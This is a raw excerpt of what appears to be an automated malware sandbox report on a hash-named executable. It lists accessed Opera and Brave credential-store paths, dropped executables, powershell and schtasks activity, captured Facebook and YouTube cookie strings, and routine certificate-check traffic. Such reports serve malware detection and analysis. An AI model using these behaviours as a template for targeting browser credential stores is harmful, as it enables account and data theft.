00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp ":\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable" in Source: 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp ":\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Local State" in Source: 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Local State" in Source: 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp "ppdata%\Opera Software\Opera Stable" in Source: 00000000-00004104.00000003.75745.001E0000.00000004.mdmp "ppdata%\Opera Software\Opera GX Stable" in Source: 00000000-00004104.00000003.75745.001E0000.00000004.mdmp "ocalappdata%\Opera Software\Opera Neon\User Data" in Source: 00000000-00004104.00000003.75745.00B1E000.00000004.mdmp "ocalappdata%\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00004104.00000003.75745.00B1E000.00000004.mdmp "Software\AutoIt v3\AutoIt" in Source: 00000000-00005160.00000000.65758.0029C000.00000002.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005160.00000000.65758.0029C000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Nls\Language" in Source: 00000000-00005160.00000000.65758.0029C000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00005176.00000000.65705.010D1000.00000020.mdmp41:T563,"\Sessions\1\BaseNamedObjects\Local\!BrowserEmulation!SharedMemory!Mutex" "\Sessions\1\BaseNamedObjects\Local\VERMGMTBlockListFileMutex" "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_FILEMAPSWITCH_MUTEX_4840" "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_HASHFILESWITCH_MUTEX" "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_DOWNLOAD_MUTEX" "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" "\Sessions\1\BaseNamedObjects\IsoScope_12e8_IE_EarlyTabStart_0x13f8_Mutex" "\Sessions\1\BaseNamedObjects\IsoScope_12e8_ConnHashTable<4840>_HashTable_Mutex" "\Sessions\1\BaseNamedObjects\{5312EE61-79E3-4A24-BFE1-132B85B23C3A}" "\Sessions\1\BaseNamedObjects\IsoScope_12e8_IESQMMUTEX_0_303" "\Sessions\1\BaseNamedObjects\IsoScope_12e8_IESQMMUTEX_0_331" "\Sessions\1\BaseNamedObjects\{66D0969A-1E86-44CF-B4EC-3806DDDA3B5D}" "{5312EE61-79E3-4A24-BFE1-132B85B23C3A}" "IsoScope_12e8_ConnHashTable<4840>_HashTable_Mutex" "IsoScope_12e8_IESQMMUTEX_0_519" "Local\ZonesLockedCacheCounterMutex" "Local\VERMGMTBlockListFileMutex" "IsoScope_12e8_IESQMMUTEX_0_331" "IsoScope_12e8_IE_EarlyTabStart_0x13f8_Mutex" "Local\!BrowserEmulation!SharedMemory!Mutex" "{66D0969A-1E86-44CF-B4EC-3806DDDA3B5D}" "Local\URLBLOCK_HASHFILESWITCH_MUTEX" "Local\URLBLOCK_FILEMAPSWITCH_MUTEX_4840" "Local\URLBLOCK_DOWNLOAD_MUTEX"42:T1bb1,"dcb10b49c7d8d03b15484c3ca04e7086.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "dcb10b49c7d8d03b15484c3ca04e7086.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "tv5xp30.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "tv5xp30.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "AD1Sg20.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "AD1Sg20.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "2kJ9830.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "2kJ9830.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "2kJ9830.exe" failed to load missing module "api-ms-win-core-sysinfo-l1-2-1" - [base:0; Status:c0000135] "2kJ9830.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-1" - [base:0; Status:c0000135] "2kJ9830.exe" failed to load missing module "ext-ms-win-kernel32-package-current-l1-1-0" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%TEMP%\IXP002.TMP\sqlite3" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%TEMP%\IXP002.TMP\setupapi.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%TEMP%\IXP002.TMP\winbrand.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "5Jy6wg6.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "schtasks.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "schtasks.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "cmd.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "cmd.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "6vx5my2.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "6vx5my2.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135]43:T8da,Found string "https://facebook.com/login" (Indicator: "facebook.com"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found string "https://www.youtube.com/" (Indicator: "youtube"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") file/memory contains long string with (Indicator: "youtube"; File: "EDE9EH7C.txt") file/memory contains long string with (Indicator: "youtube"; File: "css_2_.css") file/memory contains long string with (Indicator: "facebook.com"; File: "Z5YN2W7M.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217410174182431082031228855117531079207VISITOR_INFO1_LIVEzG0i6xt7p_wyoutube.com/9217196385920031115425228870717531079207" (Indicator: "youtube"; File: "HTMQ726P.txt") Found string "020WR0PmljwwM0pmB..BlkC5j.tb.AAA.0.0.BlkC5j.AWX-BT4bp14facebook.com/9217235675328031097320239578319531079207Yy6QZc9WAoq4weTng-3uyoS-facebook.com/9217390120742431159681239593919631079207" (Indicator: "facebook.com"; File: "01Z1SA3Z.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217410174182431082031228855117531079207" (Indicator: "youtube"; File: "MKC9JA48.txt") Found string "020WR0PmljwwM0pmB..BlkC5j.tb.AAA.0.0.BlkC5j.AWX-BT4bp14facebook.com/9217235675328031097320239578319531079207" (Indicator: "facebook.com"; File: "11SEYY5I.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367" (Indicator: "youtube"; File: "J9LDP9CL.txt") Found string "accounts.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: facebook.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "facebook.com"; File: "SSL") file/memory contains long string with (Indicator: "facebook.com"; File: "SSL") file/memory contains long string with (Indicator: "youtube"; File: "SSL")44:T2e9d,"GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 6491 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 30 Dec 2023 14:51:12 GMT Last-Modified: Sat 30 Dec 2023 13:03:01 GMT Server: ECAcc (sac/2551) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 30 Dec 2023 14:42:24 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 528 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 6492 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 30 Dec 2023 14:51:13 GMT Last-Modified: Sat 30 Dec 2023 13:03:01 GMT Server: ECAcc (sac/2551) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 3865 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 30 Dec 2023 14:51:13 GMT Last-Modified: Sat 30 Dec 2023 13:46:48 GMT Server: ECAcc (sac/254A) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414B13EC36903F8BF4701D498261A0802EF63642BC3180F32....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 30 Dec 2023 14:40:51 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 623 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Cache-Control: max-age = 7200 Connection: Keep-Alive Accept: */* If-Modified-Since: Sat, 30 Dec 2023 13:03:01 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 304 Not Modified Accept-Ranges: bytes Age: 6493 Cache-Control: max-age=7200 Date: Sat 30 Dec 2023 14:51:14 GMT Last-Modified: Sat 30 Dec 2023 13:03:01 GMT Server: ECAcc (sac/2551) X-Cache: HIT with response body ==>....... "GET /gtsr1/gtsr1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 854 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sat 30 Dec 2023 14:10:07 GMT Expires: Sat 30 Dec 2023 15:00:07 GMT Cache-Control: public max-age=3000 Age: 2467 Last-Modified: Mon 18 Sep 2023 16:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>308203523082013A020101300D06092A864886F70D01010B05003047310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBZwXm7t3kKEEFjsmHQeLcQ%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 30 Dec 2023 14:18:59 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1937 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGpYRvzN3kAuEMlMWsqSFLc%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 30 Dec 2023 13:52:47 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3509 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEA1uFYrLabZxEtE2U5X5DGM%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 30 Dec 2023 14:36:26 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 890 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAdS7ewt%2F%2FetmSOTnuOLgSw%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2747 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 30 Dec 2023 14:51:17 GMT Last-Modified: Sat 30 Dec 2023 14:05:30 GMT Server: ECAcc (sac/2540) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604145168FF90AF0207753CCCD9656462A212B859723B180F32....... "GET /gts1c3/moVDfISia2k.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 17812 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sat 30 Dec 2023 14:38:14 GMT Expires: Sat 30 Dec 2023 15:28:14 GMT Cache-Control: public max-age=3000 Age: 783 Last-Modified: Sat 30 Dec 2023 10:38:55 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>3082459030824478020101300D06092A864886F70D01010B05003046310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gts1c3/zdATt0Ex_Fk.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 17638 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sat 30 Dec 2023 14:45:40 GMT Expires: Sat 30 Dec 2023 15:35:40 GMT Cache-Control: public max-age=3000 Age: 337 Last-Modified: Sat 30 Dec 2023 12:38:52 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>308244E2308243CA020101300D06092A864886F70D01010B05003046310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDEixfO34qnbCeE6N8VMp00%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 30 Dec 2023 14:47:10 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 251 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 1531 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 30 Dec 2023 14:52:01 GMT Last-Modified: Sat 30 Dec 2023 14:26:30 GMT Server: ECAcc (sac/252C) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604144E2254201895E6E36EE60FFAFAB912ED06178F39180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2461 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 30 Dec 2023 14:52:02 GMT Last-Modified: Sat 30 Dec 2023 14:11:01 GMT Server: ECAcc (sac/2561) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604144E2254201895E6E36EE60FFAFAB912ED06178F39180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 3916 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 30 Dec 2023 14:52:04 GMT Last-Modified: Sat 30 Dec 2023 13:46:48 GMT Server: ECAcc (sac/254A) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604144E2254201895E6E36EE60FFAFAB912ED06178F39180F32.......45:T6229,"dcb10b49c7d8d03b15484c3ca04e7086.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71170000 "dcb10b49c7d8d03b15484c3ca04e7086.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "dcb10b49c7d8d03b15484c3ca04e7086.exe" loaded module "KERNEL32" at base 75fc0000 "dcb10b49c7d8d03b15484c3ca04e7086.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "dcb10b49c7d8d03b15484c3ca04e7086.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 68ee0000 "dcb10b49c7d8d03b15484c3ca04e7086.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 68eb0000 "dcb10b49c7d8d03b15484c3ca04e7086.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75480000 "tv5xp30.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71170000 "tv5xp30.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "tv5xp30.exe" loaded module "KERNEL32" at base 75fc0000 "tv5xp30.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "tv5xp30.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 68ee0000 "tv5xp30.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 68e80000 "tv5xp30.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75480000 "AD1Sg20.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71170000 "AD1Sg20.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "AD1Sg20.exe" loaded module "KERNEL32" at base 75fc0000 